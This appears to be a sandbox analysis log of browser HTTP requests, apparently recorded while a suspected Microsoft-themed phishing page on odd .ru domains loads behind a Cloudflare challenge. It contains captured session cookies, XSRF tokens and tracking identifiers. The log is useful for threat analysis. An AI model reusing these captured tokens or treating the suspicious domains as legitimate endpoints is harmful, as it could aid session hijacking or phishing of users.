Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f0814019e945e80&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: wdii.cxbeurue.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wdii.cxbeurue.ru/lypKAd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im12cGZtSlF1eGtjQ2hlRmFDMW1nQXc9PSIsInZhbHVlIjoiWWljUGlPOEpWaE44Qm1Nd3NsZ1dUMEpMWVVqSlB5WThNMFZIRjk0R3Q2M2RkUEdsaXpHeXkzSjhOVXNRb3lTWHU4QWJ2YmpFR3hQc2JabjJVQ2I4OU1IT0RtSzI4OU9ndkxVd1g0M1VMdlFsRWdEU256SWxrQTZQY0V2QnQyQW4iLCJtYWMiOiIwMTkwNWMxZDQzY2ZlOWVlOWJhMjU3YTE4NzE1YmI5NTZhMWE1NjhiNmE3ZDRjNTFiMmFkMmZkYmEyNTNlYTE2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkxZRVQyUS9KSXd0VytGVWpkbmk0L0E9PSIsInZhbHVlIjoiRkRxb1ltVzV4YlNYNnZ2TTg3V1BSNHMxMXg2Q2ViZXhtSWdKNzlIUVNQbVlheFpJajlPa0pjSXpBa2ZnM2FCQzV6clpEQ2svbC9pN2ZWT2Q4R2U4cGU4ZnlDMmRmUm84dTZMYkhDb3FmY0xXL0dRcWZSb2UxQ1hHamUvRDdCaHoiLCJtYWMiOiJkZGY0YTk0NmJhMmExMDc5OGIwNzdmM2VlNzMxNzQxZWMyMzAwYWZmYmUzNDczMzBhMDUxMTkyMWFkNWUzZWQ2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1614610025:1733945874:L96josrLVE-knejYujrVw4uaAZR2vOMBlVZWB4gUmq8/8f0814019e945e80/bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYu HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8f0814019e945e80/1733947411750/O_lkSx9NOW7Q_Nd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8f0814019e945e80/1733947411750/O_lkSx9NOW7Q_Nd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8f0814019e945e80/1733947411756/46da14fe2dea101523871ba114fba6cff520b8b91048cfdc60e25e1f71587c4d/lv-fovsggMXHv9p HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1614610025:1733945874:L96josrLVE-knejYujrVw4uaAZR2vOMBlVZWB4gUmq8/8f0814019e945e80/bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYu HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1614610025:1733945874:L96josrLVE-knejYujrVw4uaAZR2vOMBlVZWB4gUmq8/8f0814019e945e80/bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYu HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KxuzxCcbUGXujyGqWrYaFAPicIOrIXXWFSAXYGUFZCNDLCHUFISYXIE HTTP/1.1Host: zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://wdii.cxbeurue.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://wdii.cxbeurue.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KxuzxCcbUGXujyGqWrYaFAPicIOrIXXWFSAXYGUFZCNDLCHUFISYXIE HTTP/1.1Host: zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1733947476126 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?pbi_source=websignup_uNav HTTP/1.1Host: app.powerbi.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1733947476126 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=73336238850479645161774937206416645067&ts=1733947478384 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.js HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: mscom.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=73336238850479645161774937206416645067&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MSFPC%01dbe82eedbdde4cc1b39c60697b7c58db%012&d_cid_ic=MC1%01dbe82eedbdde4cc1b39c60697b7c58db%012&ts=1733947480800 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=73336238850479645161774937206416645067&ts=1733947478384 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=73055362422130141231731046285304492740 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=NzMwNTUzNjI0MjIxMzAxNDEyMzE3MzEwNDYyODUzMDQ0OTI3NDA= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=73336238850479645161774937206416645067&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MSFPC%01dbe82eedbdde4cc1b39c60697b7c58db%012&d_cid_ic=MC1%01dbe82eedbdde4cc1b39c60697b7c58db%012&ts=1733947480800 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.js HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963; dpm=73055362422130141231731046285304492740
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNzMwNTUzNjI0MjIxMzAxNDEyMzE3MzEwNDYyODUzMDQ0OTI3NDAQABoNCNzg57oGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=blLddZjqdfjKXtzJpr2uuhONHjq9p2UQ1uz+P2mwPhk=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=DjTMefN4idmASI1ol2i1Q-2NZ6_TyfuhyyNNo4eWd-nlGNx0OMp-qdGYO0B1SX31gifbrYQZ484-SCei49K6H94uVIl3NMMOUKYX417VaOE.; receive-cookie-deprecation=1; uuid2=6423475379254820486
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.css HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 HTTP/1.1Host: app.powerbi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://app.powerbi.com/?pbi_source=websignup_uNavAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ASP.NET_SessionId=atf0i4t5etcyq2i340ttcexe; WFESessionId=26e1d7ea-3eef-4bcf-a967-58997f878d73; EnableCSP=PROD; ARRAffinity=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ARRAffinitySameSite=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NzMwNTUzNjI0MjIxMzAxNDEyMzE3MzEwNDYyODUzMDQ0OTI3NDA=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=ea6b252cbe03312fae873b65ecbaa1447dcfff534171cf01177bbab50f8055e9b0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847
Source: global traffic	HTTP traffic detected: GET /13.0.24766.39/scripts/hash-manifest.js HTTP/1.1Host: app.powerbi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ASP.NET_SessionId=atf0i4t5etcyq2i340ttcexe; WFESessionId=26e1d7ea-3eef-4bcf-a967-58997f878d73; EnableCSP=PROD; 